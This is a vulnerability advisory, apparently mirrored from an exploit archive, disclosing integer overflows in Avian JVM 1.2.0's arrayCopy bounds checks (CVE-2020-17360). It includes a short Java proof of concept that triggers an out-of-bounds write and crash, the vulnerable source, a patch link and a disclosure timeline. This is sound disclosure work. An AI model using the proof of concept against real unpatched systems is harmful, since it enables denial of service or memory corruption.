Share
## https://sploitus.com/exploit?id=PACKETSTORM:158849
Vulnerability title: Avian JVM vm::arrayCopy() Multiple Integer Overflows  
Author: Pietro Oliva  
CVE: CVE-2020-17360  
Vendor: ReadyTalk  
Product: Avian JVM   
Affected version: 1.2.0  
  
Description:  
The issue is located in the vm::arrayCopy method defined in classpath-common.h,  
where multiple boundary checks are performed to prevent out-of-bounds memory  
read/write. Two of those boundary checks contain an integer overflow which leads  
to those same checks being bypassed and out-of-bounds read/write.   
  
Impact:  
Attackers could exploit this vulnerability to read/write arbitrary content in  
the JVM memory. This could in turn result in denial of service, memory   
disclosure, or arbitrary code execution in the context of the JVM.  
  
Exploitation:  
The following PoC would trigger an out-of-bounds write and crash of Avian JVM:  
  
import java.lang.*;  
  
public class poc {  
  
public static void main(String[] args) {  
byte[] src = "This is src".getBytes();  
byte[] dst = "This is dst".getBytes();  
  
// Triggering out-of-bounds write via integer overflow on System.arraycopy  
System.arraycopy(src, 0, dst, 0x7fffffff, 1);  
}  
}  
  
  
Evidence:  
  
void arrayCopy(Thread* t,  
object src,  
int32_t srcOffset,  
object dst,  
int32_t dstOffset,  
int32_t length)  
{  
if (LIKELY(src and dst)) {  
if (LIKELY(compatibleArrayTypes(  
t, objectClass(t, src), objectClass(t, dst)))) {  
unsigned elementSize = objectClass(t, src)->arrayElementSize();  
  
if (LIKELY(elementSize)) {  
intptr_t sl = fieldAtOffset<uintptr_t>(src, BytesPerWord);  
intptr_t dl = fieldAtOffset<uintptr_t>(dst, BytesPerWord);  
if (LIKELY(length > 0)) {  
if (LIKELY(srcOffset >= 0 and srcOffset + length <= sl // integer OF  
/*integer overflow*/ and dstOffset >= 0 and dstOffset + length <= dl)) {  
uint8_t* sbody = &fieldAtOffset<uint8_t>(src, ArrayBody);  
uint8_t* dbody = &fieldAtOffset<uint8_t>(dst, ArrayBody);  
if (src == dst) {  
memmove(dbody + (dstOffset * elementSize),  
sbody + (srcOffset * elementSize),  
length * elementSize);  
} else {  
memcpy(dbody + (dstOffset * elementSize),  
sbody + (srcOffset * elementSize),  
length * elementSize);  
}  
  
if (objectClass(t, dst)->objectMask()) {  
mark(t, dst, ArrayBody + (dstOffset * BytesPerWord), length);  
}  
  
return;  
} else {  
throwNew(t, GcIndexOutOfBoundsException::Type);  
}  
} else {  
return;  
}  
}  
}  
} else {  
throwNew(t, GcNullPointerException::Type);  
return;  
}  
  
throwNew(t, GcArrayStoreException::Type);  
}  
  
As can be seen in the two lines commented above, offset+length can overflow and  
the size checks would be bypassed. Overflowing srcOffset+length would trigger an  
out-of-bounds read in either memmove or memcpy, while overflowing dstOffset +   
length would trigger an out-of-bounds write in the same methods.  
  
Mitigating factors:  
Since both offsets and length need to be positive integers, there is a limited  
range of memory where an attacker could read or write as a result of this  
vulnerability.  
  
Remediation:  
A patch has been merged in the master branch:  
https://github.com/ReadyTalk/avian/pull/571  
  
Disclosure timeline:  
3rd August 2020 - Vulnerability reported.  
3rd August 2020 - Vulnerability acknowledged.  
4th August 2020 - CVE request sent to Mitre.  
5th August 2020 - CVE assigned.  
10th August 2020 - Proposed patch via pull request.  
10th August 2020 - Patch approved and merged after changes.  
10th August 2020 - Vulnerability details shared on fulldisclosure.